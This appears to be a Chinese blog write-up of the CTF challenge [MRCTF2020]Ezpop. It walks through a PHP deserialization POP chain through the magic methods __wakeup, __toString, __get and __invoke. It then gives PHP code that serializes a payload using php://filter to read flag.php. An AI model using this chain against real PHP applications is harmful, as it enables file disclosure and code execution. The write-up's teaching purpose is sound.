[MRCTF2020]Ezpop PHP反序列化pop链的简单构造

发布于 2022-03-16  20 次阅读


〇、预备知识点

1、PHP序列化与反序列化的魔术方法及其调用

2、php://filter读取文本

一、初看题目

拿到题目,分析PHP代码可以发现:

1、我们可以通过pop变量这个反序列化的地方来进行利用。

2、我们需要用Modifier函数来include一下flag.php

3、再利用Show函数输出

有了这些大概的思路,我们可以知道这是个利用pop链来实现拿到flag的操作。

二、pop链的具体流程

1、反序列化会调用__wakeup函数

我们可以发现__wakeup里面的source变量我们可以控制。

如果source是一个字符串的话,会直接在preg_match中进行比较,如果是一个类,则会去找这个类里面的__toString函数

所以将source指向一个新的Show类

$source=new Show

2、分析__toString函数

这个地方是取str代表的类(前面所指向的新的Show类)中的source所代表的值

这个时候会自动调用__get方法

3、__get函数

这个时候返回的是p所对应的类的一个函数。

将类当做一个函数进行调用的时候会调用__invoke函数

4、__invoke函数

整体下来看就是

1、首先反序列化调用__wakeup()方法

2、令source=new Show() 后 __wakeup()会调用__toString()

3、令$str=new Test()就会调用__get()方法

4、令p=new Modifier()就会调用__invoke(),然后命令执行

三、构造payload函数

<?php

class Modifier {

protected $var='php://filter/read=convert.base64-encode/resource=flag.php';

}

class Show{

public $source;

public $str;

public function __construct(){

$this->str=new Test();

}

}

class Test{

public $p;

public function __construct(){

$this->p =new Modifier(); }

}

$a=new Show();

$b=new Show();

$b->str="";

$b->source=$a;

$b=serialize($b);

print($b);

print("\n");

print(urlencode($b));

最后得到一串base64加密的字符

最后解密即可。


“缘分让我们相遇乱世以外,命运却让我们危难中相爱”